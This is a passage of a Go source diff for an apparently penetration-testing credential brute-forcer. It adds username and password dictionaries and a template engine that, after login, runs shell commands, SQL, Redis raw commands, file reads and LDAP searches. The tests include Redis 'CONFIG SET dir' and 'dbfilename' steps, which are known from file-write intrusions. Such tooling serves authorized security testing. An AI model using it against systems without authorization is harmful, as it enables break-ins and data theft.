if err != nil { + return nil, err + } + s.WriteString(fmt.Sprintf("%s: %ditems", f, len(dicts[i]))) + } + + logs.Log.Importantf("load dictionaries: %s", s.String()) + } + + var users, pwds *Generator + // load username + if opt.Username != nil { + if len(opt.Username) == 1 && dicts != nil { + users, err = NewGeneratorWithWord(opt.Username[0], dicts, nil) + if err != nil { + return nil, err + } + logs.Log.Importantf("parse username from %s", opt.Username[0]) + } else { + users = NewGeneratorWithInput(opt.Username) + } + } else if opt.UsernameFile != "" { + users, err = NewGeneratorWithFile(opt.UsernameFile) + if err != nil { + return nil, err + } + logs.Log.Importantf("load username from %s", opt.UsernameFile) + } + if opt.UsernameRule != "" { + err := users.SetRuleFile(opt.UsernameRule) + if err != nil { + return nil, err + } + } + runner.Users = users + + // load password + if opt.Password != nil { + if len(opt.Password) == 1 && dicts != nil { + pwds, err = NewGeneratorWithWord(opt.Password[0], dicts, nil) + if err != nil { + return nil, err + } + logs.Log.Importantf("parse password from %s ", opt.Password[0]) + } else { + pwds = NewGeneratorWithInput(opt.Password) + } + } else if opt.PasswordFile != "" { + pwds, err = NewGeneratorWithFile(opt.PasswordFile) + if err != nil { + return nil, err + } + logs.Log.Importantf("load password from %s", opt.PasswordFile) + } + if opt.PasswordRule != "" { + err := pwds.SetRuleFile(opt.PasswordRule) + if err != nil { + return nil, err + } + } else if opt.WeakPassWord { + err := pwds.SetInternalRule("weakpass") + if err != nil { + return nil, err + } + } + runner.Pwds = pwds + + // load auth pair + var auths *Generator + if opt.Auth != nil { + auths = NewGeneratorWithInput(opt.Auth) + } else if opt.AuthFile != "" { + auths, err = NewGeneratorWithFile(opt.AuthFile) + if err != nil { + return nil, err + } + logs.Log.Importantf("load auth from %s", opt.AuthFile) + } + if auths != nil { + runner.Auths = auths + runner.Mod = ModPitchFork + } + + runner.bar = pkg.NewBar("targets", len(targets), runner.stat) + + return runner, nil +} diff --git a/core/runner.go b/core/runner.go index ea8a806..6449928 100644 --- a/core/runner.go +++ b/core/runner.go @@ -105,17 +105,23 @@ func NewRunner(opt *RunnerOption) *Runner { } func (r *Runner) BuildPipeline() error { - if !r.Proton { - return nil - } - if len(r.ScanTemplates) == 0 { - return fmt.Errorf("--proton requires --scan-template to specify proton template path") + if r.Proton { + if len(r.ScanTemplates) == 0 { + return fmt.Errorf("--proton requires --scan-template to specify proton template path") + } + postAction, err := action.NewPostAction(r.ScanTemplates, r.DBLimit) + if err != nil { + return fmt.Errorf("failed to init post action: %w", err) + } + r.Pipeline = append(r.Pipeline, postAction) } - postAction, err := action.NewPostAction(r.ScanTemplates, r.DBLimit) - if err != nil { - return fmt.Errorf("failed to init post action: %w", err) + if len(r.ServiceTemplates) > 0 { + serviceAction, err := action.NewServiceAction(r.ServiceTemplates, r.ServiceVars) + if err != nil { + return fmt.Errorf("failed to init service action: %w", err) + } + r.Pipeline = append(r.Pipeline, serviceAction) } - r.Pipeline = append(r.Pipeline, postAction) return nil } diff --git a/core/runner_option.go b/core/runner_option.go index 24d2679..5830ca4 100644 --- a/core/runner_option.go +++ b/core/runner_option.go @@ -16,9 +16,11 @@ type RunnerOption struct { Quiet bool // Post-auth actions - Proton bool - ScanTemplates []string - DBLimit int + Proton bool + ScanTemplates []string + DBLimit int + ServiceTemplates []string + ServiceVars map[string]interface{} // ProxyDial 非 nil 时透传到每个 Task,使插件通过代理建立连接。 ProxyDial pkg.DialFunc diff --git a/pkg/types.go b/pkg/types.go index e3fb1cb..2fec4ee 100644 --- a/pkg/types.go +++ b/pkg/types.go @@ -2,6 +2,7 @@ package pkg import ( "context" + "encoding/json" "errors" "fmt" "github.com/chainreactors/fingers/common" @@ -266,6 +267,26 @@ func (r *Result) Merge(ar *ActionResult) { r.ActionResults = append(r.ActionResults, ar) } +func (r *Result) Format(form string) string { + if r == nil || r.Task == nil || r.ZombieResult == nil { + return "" + } + switch form { + case parsers.ZombieFormatJSON, parsers.ZombieFormatJSONLine: + bs, err := json.Marshal(r) + if err != nil { + return "" + } + return string(bs) + "\n" + default: + out := r.ZombieResult.Format(form) + if len(r.Extracteds) == 0 { + return out + } + return strings.TrimRight(out, "\n") + " " + r.Extracteds.String() + } +} + type runOpt struct { Raw bool } diff --git a/plugin/internal/kvsess/kvsess.go b/plugin/internal/kvsess/kvsess.go index dcc5369..e3e767f 100644 --- a/plugin/internal/kvsess/kvsess.go +++ b/plugin/internal/kvsess/kvsess.go @@ -21,6 +21,15 @@ func (s *RedisSession) Get(key string) ([]byte, error) { return val, err } +func (s *RedisSession) Command(name string, args ...string) (interface{}, error) { + cmdArgs := make([]interface{}, 1+len(args)) + cmdArgs[0] = name + for i, a := range args { + cmdArgs[i+1] = a + } + return s.Client.Do(cmdArgs...).Result() +} + func (s *RedisSession) Keys(pattern string) ([]string, error) { var allKeys []string var cursor uint64 diff --git a/service/execute.go b/service/execute.go new file mode 100644 index 0000000..885cbe5 --- /dev/null +++ b/service/execute.go @@ -0,0 +1,428 @@ +package service + +import ( + "fmt" + "strings" + + "github.com/chainreactors/logs" + "github.com/chainreactors/neutron/common" + "github.com/chainreactors/neutron/protocols" + "github.com/chainreactors/zombie/pkg" +) + +func (r *Request) ExecuteWithResults(input *protocols.ScanContext, dynamicValues, previous map[string]interface{}, callback protocols.OutputEventCallback) error { + sessionRaw, ok := input.Payloads["_session"] + if !ok { + return fmt.Errorf("service protocol: no session in scan context") + } + session, ok := sessionRaw.(pkg.Session) + if !ok { + return fmt.Errorf("service protocol: invalid session type") + } + + if dynamicValues == nil { + dynamicValues = make(map[string]interface{}) + } + + cliVars, _ := input.Payloads["_service_cli_vars"].(map[string]interface{}) + payloadIterator, err := r.payloadIterator(cliVars) + if err != nil { + return err + } + + runOnce := payloadIterator == nil + for { + var payloadValues map[string]interface{} + if payloadIterator == nil { + if !runOnce { + break + } + runOnce = false + } else { + var hasNext bool + payloadValues, hasNext = payloadIterator.Value() + if !hasNext { + break + } + } + + var allResponses strings.Builder + dslMap := r.responseToDSLMap("", session.Service(), input.Input) + for k, v := range input.GlobalVars { + dslMap[k] = v + } + for k, v := range previous { + dslMap[k] = v + } + for k, v := range dynamicValues { + dslMap[k] = v + } + for k, v := range payloadValues { + dslMap[k] = v + } + + for _, op := range r.Ops { + normalized := normalizeOp(op) + evaluated := evaluateOp(normalized, dslMap) + response, err := executeOp(session, evaluated) + if err != nil { + logs.Log.Debugf("[service] op failed on %s: %v", input.Input, err) + continue + } + + if allResponses.Len() > 0 { + allResponses.WriteString("\n") + } + allResponses.WriteString(response) + + if op.Name != "" { + dslMap[op.Name] = response + } + } + + dslMap["response"] = allResponses.String() + + event := protocols.CreateEvent(r, dslMap) + if event.OperatorsResult != nil && len(payloadValues) > 0 { + event.OperatorsResult.PayloadValues = payloadValues + } + callback(event) + + if r.StopAtFirstMatch && event.OperatorsResult != nil && event.OperatorsResult.Matched { + break + } + } + + return nil +} + +func (r *Request) payloadIterator(overrides map[string]interface{}) (*protocols.Iterator, error) { + if len(r.Payloads) == 0 { + return nil, nil + } + payloads := make(map[string]interface{}, len(r.Payloads)) + for k, v := range r.Payloads { + payloads[k] = v + } + for k, v := range overrides { + if _, ok := payloads[k]; ok { + payloads[k] = v + } + } + attack := strings.ToLower(r.AttackType) + if attack == "" { + attack = "pitchfork" + } + attackType, ok := protocols.StringToType[attack] + if !ok { + return nil, fmt.Errorf("unsupported attack type %q", r.AttackType) + } + generator, err := protocols.NewGenerator(payloads, attackType) + if err != nil { + return nil, err + } + return generator.NewIterator(), nil +} + +// normalizeOp maps legacy fields to the primary shell/db/kv/file/ldap fields. +func normalizeOp(op *Op) *Op { + if op.Shell != "" || op.DB != "" || op.KV != "" || op.File != nil || op.LDAP != nil { + return op + } + + n := *op + switch { + case n.Exec != "": + n.Shell = n.Exec + case n.Query != "": + n.DB = n.Query + case n.Databases: + n.DB = "__databases__" + case n.Get != "": + n.KV = "GET " + n.Get + case n.Keys != "": + n.KV = "KEYS " + n.Keys + case n.Cmd != "": + n.KV = n.Cmd + case n.List != "": + n.File = &FileOp{List: n.List} + case n.Read != "": + n.File = &FileOp{Read: n.Read} + case n.Search != nil: + n.LDAP = n.Search + } + return &n +} + +func evaluateOp(op *Op, values map[string]interface{}) *Op { + evaluated := *op + evaluated.Shell = evaluateField(op.Shell, values) + evaluated.DB = evaluateField(op.DB, values) + evaluated.KV = evaluateField(op.KV, values) + if op.File != nil { + f := *op.File + f.List = evaluateField(op.File.List, values) + f.Read = evaluateField(op.File.Read, values) + evaluated.File = &f + } + if op.LDAP != nil { + l := *op.LDAP + l.BaseDN = evaluateField(op.LDAP.BaseDN, values) + l.Filter = evaluateField(op.LDAP.Filter, values) + evaluated.LDAP = &l + } + return &evaluated +} + +func evaluateField(field string, values map[string]interface{}) string { + if field == "" { + return field + } + field = replacePayloadMarkers(field, values) + if strings.Contains(field, "{{") { + result, err := common.Evaluate(field, values) + if err != nil { + return field + } + return result + } + return field +} + +func replacePayloadMarkers(field string, values map[string]interface{}) string { + if !strings.Contains(field, "§") { + return field + } + for k, v := range values { + field = strings.ReplaceAll(field, "§"+k+"§", common.ToString(v)) + } + return field +} + +func executeOp(session pkg.Session, op *Op) (string, error) { + switch { + case op.Shell != "": + return execShell(session, op.Shell) + case op.DB != "": + return execDB(session, op.DB) + case op.KV != "": + return execKV(session, op.KV) + case op.File != nil: + return execFile(session, op.File) + case op.LDAP != nil: + return execLDAP(session, op.LDAP) + default: + return "", fmt.Errorf("no operation specified in op") + } +} + +func execShell(session pkg.Session, cmd string) (string, error) { + sh, ok := pkg.AsShell(session) + if !ok { + return "", fmt.Errorf("session does not support shell") + } + out, err := sh.Exec(cmd) + return string(out), err +} + +func execDB(session pkg.Session, query string) (string, error) { + sq, ok := pkg.AsSQL(session) + if !ok { + return "", fmt.Errorf("session does not support db") + } + switch strings.ToLower(strings.TrimSpace(query)) { + case "__databases__", "databases", "show databases": + dbs, err := sq.Databases() + if err != nil { + return "", err + } + return strings.Join(dbs, "\n"), nil + } + rows, err := sq.Query(query) + if err != nil { + return "", err + } + var b strings.Builder + for _, row := range rows { + b.WriteString(strings.Join(row, "\t")) + b.WriteString("\n") + } + return b.String(), nil +} + +func execKV(session pkg.Session, expr string) (string, error) { + parts, err := parseCommandFields(expr) + if err != nil { + return "", err + } + if len(parts) == 0 { + return "", fmt.Errorf("empty kv expression") + } + + verb := strings.ToUpper(parts[0]) + arg := strings.Join(parts[1:], " ") + + kv, isKV := pkg.AsKV(session) + + switch verb { + case "GET": + if isKV { + val, err := kv.Get(arg) + return string(val), err + } + case "KEYS": + if isKV { + if arg == "" { + arg = "*" + } + keys, err := kv.Keys(arg) + if err != nil { + return "", err + } + return strings.Join(keys, "\n"), nil + } + } + + rc, ok := session.(RawCommander) + if !ok { + return "", fmt.Errorf("session does not support command: %s", verb) + } + result, err := rc.Command(parts[0], parts[1:]...) + if err != nil { + return "", err + } + return formatCommandResult(result), nil +} + +func formatCommandResult(result interface{}) string { + switch v := result.(type) { + case nil: + return "" + case string: + return v + case []byte: + return string(v) + case []string: + return strings.Join(v, "\n") + case []interface{}: + items := make([]string, 0, len(v)) + for _, item := range v { + items = append(items, formatCommandResult(item)) + } + return strings.Join(items, "\n") + default: + return fmt.Sprintf("%v", v) + } +} + +func parseCommandFields(expr string) ([]string, error) { + var fields []string + var b strings.Builder + var quote rune + var escaped bool + var tokenStarted bool + + flush := func() { + if !tokenStarted { + return + } + fields = append(fields, b.String()) + b.Reset() + tokenStarted = false + } + + for _, r := range expr { + if escaped { + switch r { + case 'n': + b.WriteByte('\n') + case 'r': + b.WriteByte('\r') + case 't': + b.WriteByte('\t') + default: + b.WriteRune(r) + } + escaped = false + tokenStarted = true + continue + } + + if quote != 0 { + switch r { + case '\\': + escaped = true + case quote: + quote = 0 + default: + b.WriteRune(r) + } + tokenStarted = true + continue + } + + switch r { + case '\'', '"': + quote = r + tokenStarted = true + case ' ', '\t', '\n', '\r': + flush() + default: + b.WriteRune(r) + tokenStarted = true + } + } + + if escaped { + b.WriteRune('\\') + } + if quote != 0 { + return nil, fmt.Errorf("unterminated quoted string in kv expression") + } + flush() + return fields, nil +} + +func execFile(session pkg.Session, op *FileOp) (string, error) { + fs, ok := pkg.AsFile(session) + if !ok { + return "", fmt.Errorf("session does not support file") + } + switch { + case op.List != "": + entries, err := fs.List(op.List) + if err != nil { + return "", err + } + return strings.Join(entries, "\n"), nil + case op.Read != "": + data, err := fs.Read(op.Read) + return string(data), err + default: + return "", fmt.Errorf("file op: set list or read") + } +} + +func execLDAP(session pkg.Session, op *LDAPOp) (string, error) { + dir, ok := pkg.AsDirectory(session) + if !ok { + return "", fmt.Errorf("session does not support ldap") + } + results, err := dir.Search(op.BaseDN, op.Filter, op.Attrs) + if err != nil { + return "", err + } + var b strings.Builder + for _, entry := range results { + for attr, vals := range entry { + for _, v := range vals { + b.WriteString(attr) + b.WriteString(": ") + b.WriteString(v) + b.WriteString("\n") + } + } + b.WriteString("\n") + } + return b.String(), nil +} diff --git a/service/load_test.go b/service/load_test.go new file mode 100644 index 0000000..5e5c82f --- /dev/null +++ b/service/load_test.go @@ -0,0 +1,98 @@ +package service + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/chainreactors/neutron/protocols" + "gopkg.in/yaml.v3" +) + +func TestLoadAllTemplates(t *testing.T) { + templatesDir := "../../proton/templates/services" + if _, err := os.Stat(templatesDir); os.IsNotExist(err) { + t.Skipf("templates dir not found: %s", templatesDir) + } + + var total, passed, failed int + filepath.WalkDir(templatesDir, func(path string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + if !strings.HasSuffix(path, ".yaml") && !strings.HasSuffix(path, ".yml") { + return nil + } + total++ + + data, err := os.ReadFile(path) + if err != nil { + t.Errorf("read %s: %v", path, err) + failed++ + return nil + } + + var tmpl Template + if err := yaml.Unmarshal(data, &tmpl); err != nil { + t.Errorf("unmarshal %s: %v", path, err) + failed++ + return nil + } + + if tmpl.Id == "" { + t.Errorf("%s: missing id", path) + failed++ + return nil + } + if len(tmpl.Service) == 0 { + t.Errorf("%s: missing service filter", path) + failed++ + return nil + } + if len(tmpl.Services) == 0 { + t.Errorf("%s: no service request blocks", path) + failed++ + return nil + } + + if err := tmpl.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Errorf("%s: compile failed: %v", path, err) + failed++ + return nil + } + + for i, req := range tmpl.Services { + if len(req.Ops) == 0 { + t.Errorf("%s: services[%d] has no ops", path, i) + failed++ + return nil + } + for j, op := range req.Ops { + if !hasAction(op) { + t.Errorf("%s: services[%d].ops[%d] has no action field set", path, i, j) + failed++ + return nil + } + } + } + + passed++ + t.Logf("OK %s (id=%s, service=%v, blocks=%d)", filepath.Base(path), tmpl.Id, tmpl.Service, len(tmpl.Services)) + return nil + }) + + t.Logf("\n--- Summary: %d total, %d passed, %d failed ---", total, passed, failed) + if failed > 0 { + t.Fatalf("%d templates failed validation", failed) + } +} + +func hasAction(op *Op) bool { + return op.Shell != "" || op.DB != "" || op.KV != "" || + (op.File != nil && (op.File.List != "" || op.File.Read != "")) || + op.LDAP != nil || + op.Exec != "" || op.Query != "" || op.Databases || + op.Get != "" || op.Keys != "" || op.Cmd != "" || + op.List != "" || op.Read != "" || op.Search != nil +} diff --git a/service/operators.go b/service/operators.go new file mode 100644 index 0000000..9bf9f15 --- /dev/null +++ b/service/operators.go @@ -0,0 +1,96 @@ +package service + +import ( + "time" + + "github.com/chainreactors/neutron/common" + "github.com/chainreactors/neutron/operators" + "github.com/chainreactors/neutron/protocols" +) + +func (r *Request) getMatchPart(part string, data protocols.InternalEvent) (string, bool) { + switch part { + case "", "body", "all", "data": + part = "response" + } + item, ok := data[part] + if !ok { + return "", false + } + return common.ToString(item), true +} + +func (r *Request) Match(data map[string]interface{}, matcher *operators.Matcher) (bool, []string) { + itemStr, ok := r.getMatchPart(matcher.Part, data) + + switch matcher.GetType() { + case operators.DSLMatcher: + return matcher.Result(matcher.MatchDSL(data)), []string{} + case operators.SizeMatcher: + if !ok { + return false, []string{} + } + return matcher.Result(matcher.MatchSize(len(itemStr))), []string{} + case operators.WordsMatcher: + if !ok { + return false, []string{} + } + return matcher.ResultWithMatchedSnippet(matcher.MatchWords(itemStr, data)) + case operators.RegexMatcher: + if !ok { + return false, []string{} + } + return matcher.ResultWithMatchedSnippet(matcher.MatchRegex(itemStr)) + case operators.BinaryMatcher: + if !ok { + return false, []string{} + } + return matcher.ResultWithMatchedSnippet(matcher.MatchBinary(itemStr)) + default: + return false, []string{} + } +} + +func (r *Request) Extract(data map[string]interface{}, extractor *operators.Extractor) map[string]struct{} { + itemStr, ok := r.getMatchPart(extractor.Part, data) + + switch extractor.GetType() { + case operators.KValExtractor: + return extractor.ExtractKval(data) + case operators.DSLExtractor: + return extractor.ExtractDSL(data) + case operators.RegexExtractor: + if !ok { + return nil + } + return extractor.ExtractRegex(itemStr) + default: + return nil + } +} + +func (r *Request) responseToDSLMap(response, serviceName, host string) protocols.InternalEvent { + return protocols.InternalEvent{ + "response": response, + "service": serviceName, + "host": host, + "type": "service", + } +} + +func (r *Request) MakeResultEvent(wrapped *protocols.InternalWrappedEvent) []*protocols.ResultEvent { + return protocols.MakeDefaultResultEvent(r, wrapped) +} + +func (r *Request) MakeResultEventItem(wrapped *protocols.InternalWrappedEvent) *protocols.ResultEvent { + return &protocols.ResultEvent{ + TemplateID: common.ToString(wrapped.InternalEvent["template-id"]), + Type: common.ToString(wrapped.InternalEvent["type"]), + Host: common.ToString(wrapped.InternalEvent["host"]), + Matched: common.ToString(wrapped.InternalEvent["matched"]), + ExtractedResults: wrapped.OperatorsResult.OutputExtracts, + Metadata: wrapped.OperatorsResult.PayloadValues, + Timestamp: time.Now(), + IP: common.ToString(wrapped.InternalEvent["ip"]), + } +} diff --git a/service/service.go b/service/service.go new file mode 100644 index 0000000..f40946b --- /dev/null +++ b/service/service.go @@ -0,0 +1,98 @@ +package service + +import ( + "fmt" + + "github.com/chainreactors/neutron/operators" + "github.com/chainreactors/neutron/protocols" +) + +const ServiceProtocol protocols.ProtocolType = 6 + +var _ protocols.Request = &Request{} + +// RawCommander is an optional interface for sessions that support +// arbitrary command execution beyond their typed interface (e.g., Redis CONFIG/SLAVEOF). +type RawCommander interface { + Command(name string, args ...string) (interface{}, error) +} + +// Request implements protocols.Request for the service protocol. +type Request struct { + operators.Operators `json:",inline" yaml:",inline"` + + ID string `json:"id,omitempty" yaml:"id,omitempty"` + Ops []*Op `json:"ops" yaml:"ops"` + + AttackType string `json:"attack,omitempty" yaml:"attack,omitempty"` + Payloads map[string]interface{} `json:"payloads,omitempty" yaml:"payloads,omitempty"` + + StopAtFirstMatch bool `json:"stop-at-first-match,omitempty" yaml:"stop-at-first-match,omitempty"` + + CompiledOperators *operators.Operators `json:"-" yaml:"-"` + options *protocols.ExecuterOptions `json:"-" yaml:"-"` +} + +// Op is a single operation against a session. +// Each Op sets exactly one session-type field — the type is inferred from which field is non-empty. +type Op struct { + Shell string `json:"shell,omitempty" yaml:"shell,omitempty"` // ShellSession: command to execute + DB string `json:"db,omitempty" yaml:"db,omitempty"` // SQLSession: SQL query to execute + KV string `json:"kv,omitempty" yaml:"kv,omitempty"` // KVSession: command expression (GET key / KEYS * / CONFIG SET ...) + File *FileOp `json:"file,omitempty" yaml:"file,omitempty"` // FileSession: list or read + LDAP *LDAPOp `json:"ldap,omitempty" yaml:"ldap,omitempty"` // DirectorySession: search + + Name string `json:"name,omitempty" yaml:"name,omitempty"` + + // Legacy aliases kept so existing service templates continue to load. + Exec string `json:"exec,omitempty" yaml:"exec,omitempty"` + Query string `json:"query,omitempty" yaml:"query,omitempty"` + Databases bool `json:"databases,omitempty" yaml:"databases,omitempty"` + Get string `json:"get,omitempty" yaml:"get,omitempty"` + Keys string `json:"keys,omitempty" yaml:"keys,omitempty"` + Cmd string `json:"cmd,omitempty" yaml:"cmd,omitempty"` + List string `json:"list,omitempty" yaml:"list,omitempty"` + Read string `json:"read,omitempty" yaml:"read,omitempty"` + Search *LDAPOp `json:"search,omitempty" yaml:"search,omitempty"` +} + +// FileOp specifies a file session operation. Set exactly one field. +type FileOp struct { + List string `json:"list,omitempty" yaml:"list,omitempty"` + Read string `json:"read,omitempty" yaml:"read,omitempty"` +} + +// LDAPOp specifies an LDAP search operation. +type LDAPOp struct { + BaseDN string `json:"base-dn" yaml:"base-dn"` + Filter string `json:"filter" yaml:"filter"` + Attrs []string `json:"attrs,omitempty" yaml:"attrs,omitempty"` +} + +func (r *Request) Type() protocols.ProtocolType { + return ServiceProtocol +} + +func (r *Request) GetID() string { + return r.ID +} + +func (r *Request) Requests() int { + return len(r.Ops) +} + +func (r *Request) GetCompiledOperators() []*operators.Operators { + return []*operators.Operators{r.CompiledOperators} +} + +func (r *Request) Compile(options *protocols.ExecuterOptions) error { + r.options = options + if len(r.Matchers) > 0 || len(r.Extractors) > 0 { + compiled := &r.Operators + if err := compiled.Compile(); err != nil { + return fmt.Errorf("could not compile operators: %w", err) + } + r.CompiledOperators = compiled + } + return nil +} diff --git a/service/service_test.go b/service/service_test.go new file mode 100644 index 0000000..757bc3c --- /dev/null +++ b/service/service_test.go @@ -0,0 +1,531 @@ +package service + +import ( + "testing" + + "github.com/chainreactors/neutron/operators" + "github.com/chainreactors/neutron/protocols" + "gopkg.in/yaml.v3" +) + +// mockShellSession implements pkg.Session + pkg.ShellSession +type mockShellSession struct { + svc string + outputs map[string]string +} + +func (m *mockShellSession) Service() string { return m.svc } +func (m *mockShellSession) Close() error { return nil } +func (m *mockShellSession) Raw() interface{} { return nil } +func (m *mockShellSession) Exec(cmd string) ([]byte, error) { + if out, ok := m.outputs[cmd]; ok { + return []byte(out), nil + } + return []byte(""), nil +} + +// mockKVSession implements pkg.Session + pkg.KVSession + RawCommander +type mockKVSession struct { + svc string + data map[string]string + cmds map[string]string + calls []string +} + +func (m *mockKVSession) Service() string { return m.svc } +func (m *mockKVSession) Close() error { return nil } +func (m *mockKVSession) Raw() interface{} { return nil } +func (m *mockKVSession) Get(key string) ([]byte, error) { + return []byte(m.data[key]), nil +} +func (m *mockKVSession) Keys(pattern string) ([]string, error) { + var keys []string + for k := range m.data { + keys = append(keys, k) + } + return keys, nil +} +func (m *mockKVSession) Command(name string, args ...string) (interface{}, error) { + key := name + for _, a := range args { + key += " " + a + } + m.calls = append(m.calls, key) + if out, ok := m.cmds[key]; ok { + return out, nil + } + return "OK", nil +} + +func TestRequestCompile(t *testing.T) { + yamlData := ` +ops: + - shell: "id" + name: whoami +matchers: + - type: word + part: whoami + words: ["root"] +extractors: + - type: regex + name: user + part: whoami + regex: ['uid=\d+\((\w+)\)'] + group: 1 +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + if len(req.Ops) != 1 { + t.Fatalf("expected 1 op, got %d", len(req.Ops)) + } + if req.Ops[0].Shell != "id" { + t.Fatalf("expected shell='id', got %q", req.Ops[0].Shell) + } + if req.CompiledOperators == nil { + t.Fatal("expected compiled operators") + } +} + +func TestExecuteShell(t *testing.T) { + session := &mockShellSession{ + svc: "ssh", + outputs: map[string]string{ + "id": "uid=0(root) gid=0(root)", + "uname -a": "Linux box 5.15.0 x86_64", + }, + } + + yamlData := ` +ops: + - shell: "id" + name: whoami + - shell: "uname -a" + name: uname +matchers: + - type: word + part: whoami + words: ["root"] +extractors: + - type: regex + name: user + part: whoami + regex: ['uid=\d+\((\w+)\)'] + group: 1 +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + payloads := map[string]interface{}{"_session": session} + scanCtx := protocols.NewScanContext("10.0.0.1:22", payloads) + + var result *operators.Result + err := req.ExecuteWithResults(scanCtx, nil, nil, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult != nil { + result = event.OperatorsResult + } + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil { + t.Fatal("expected result") + } + if !result.Matched { + t.Error("expected match on 'root'") + } + if len(result.Extracts["user"]) == 0 { + t.Error("expected extraction of user") + } else if result.Extracts["user"][0] != "root" { + t.Errorf("expected extracted user='root', got %q", result.Extracts["user"][0]) + } +} + +func TestExecuteKV(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{"password_key": "s3cret"}, + cmds: map[string]string{ + "CONFIG GET dir": "dir\n/var/lib/redis", + }, + } + + yamlData := ` +ops: + - kv: "CONFIG GET dir" + name: dir +matchers: + - type: word + part: dir + words: ["/var"] +extractors: + - type: regex + name: redis_dir + part: dir + regex: ['dir\s+(.+)'] + group: 1 +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + payloads := map[string]interface{}{"_session": session} + scanCtx := protocols.NewScanContext("10.0.0.1:6379", payloads) + + var result *operators.Result + err := req.ExecuteWithResults(scanCtx, nil, nil, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult != nil { + result = event.OperatorsResult + } + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil { + t.Fatal("expected result") + } + if !result.Matched { + t.Error("expected match on '/var'") + } + if len(result.Extracts["redis_dir"]) == 0 { + t.Error("expected extraction of redis_dir") + } else if result.Extracts["redis_dir"][0] != "/var/lib/redis" { + t.Errorf("expected '/var/lib/redis', got %q", result.Extracts["redis_dir"][0]) + } +} + +func TestExecuteKVQuotedValue(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + cmds: map[string]string{ + "SET x ": "OK", + }, + } + + out, err := execKV(session, `SET x ""`) + if err != nil { + t.Fatalf("execKV: %v", err) + } + if out != "OK" { + t.Fatalf("expected OK, got %q", out) + } +} + +func TestParseCommandFieldsEscapes(t *testing.T) { + fields, err := parseCommandFields(`SET x "\nline two\n"`) + if err != nil { + t.Fatalf("parseCommandFields: %v", err) + } + if len(fields) != 3 { + t.Fatalf("expected 3 fields, got %d: %#v", len(fields), fields) + } + if fields[2] != "\nline two\n" { + t.Fatalf("unexpected escaped payload: %#v", fields[2]) + } +} + +func TestFormatCommandResultArray(t *testing.T) { + out := formatCommandResult([]interface{}{"dir", "/var/www"}) + if out != "dir\n/var/www" { + t.Fatalf("unexpected formatted result: %q", out) + } +} + +func TestExecuteKVGetKeys(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{"secret": "val1", "password": "val2"}, + } + + yamlData := ` +ops: + - kv: "GET secret" + name: secret_val + - kv: "KEYS *" + name: all_keys +matchers: + - type: word + part: secret_val + words: ["val1"] +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + payloads := map[string]interface{}{"_session": session} + scanCtx := protocols.NewScanContext("10.0.0.1:6379", payloads) + + var result *operators.Result + err := req.ExecuteWithResults(scanCtx, nil, nil, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult != nil { + result = event.OperatorsResult + } + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || !result.Matched { + t.Error("expected match on 'val1'") + } +} + +func TestTemplateMultiBlock(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{}, + cmds: map[string]string{ + "CONFIG GET dir": "dir\n/var/lib/redis", + "CONFIG GET dbfilename": "dbfilename\ndump.rdb", + "CONFIG SET dir /tmp": "OK", + "CONFIG SET dbfilename test.rdb": "OK", + }, + } + + yamlData := ` +id: redis-multi-block +service: [redis] +info: + name: Redis Multi Block Test + severity: info + +services: + - ops: + - kv: "CONFIG GET dir" + name: dir + extractors: + - type: regex + name: orig_dir + internal: true + part: dir + regex: ['dir\s+(.+)'] + group: 1 + + - ops: + - kv: "CONFIG SET dir /tmp" + matchers: + - type: word + words: ["OK"] +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + if !tmpl.Match("redis") { + t.Fatal("expected match on redis") + } + if tmpl.Match("mysql") { + t.Fatal("expected no match on mysql") + } + + result, err := tmpl.Execute(session, "10.0.0.1:6379") + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || !result.Matched { + t.Error("expected matched result from second block") + } +} + +func TestTemplateVariablesAndCLIOverride(t *testing.T) { + session := &mockShellSession{ + svc: "ssh", + outputs: map[string]string{ + "id": "uid=1000(zombie)", + "whoami": "root", + }, + } + + yamlData := ` +id: variable-template +service: [ssh] +variables: + cmd: whoami +services: + - ops: + - shell: "{{cmd}}" + name: command_output + matchers: + - type: word + part: command_output + words: ["zombie"] +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.ExecuteWithVariables(session, "127.0.0.1:22", map[string]interface{}{"cmd": "id"}) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || !result.Matched { + t.Fatal("expected CLI variable override to match id output") + } +} + +func TestTemplatePayloadsClusterbomb(t *testing.T) { + session := &mockKVSession{ + svc: "redis", 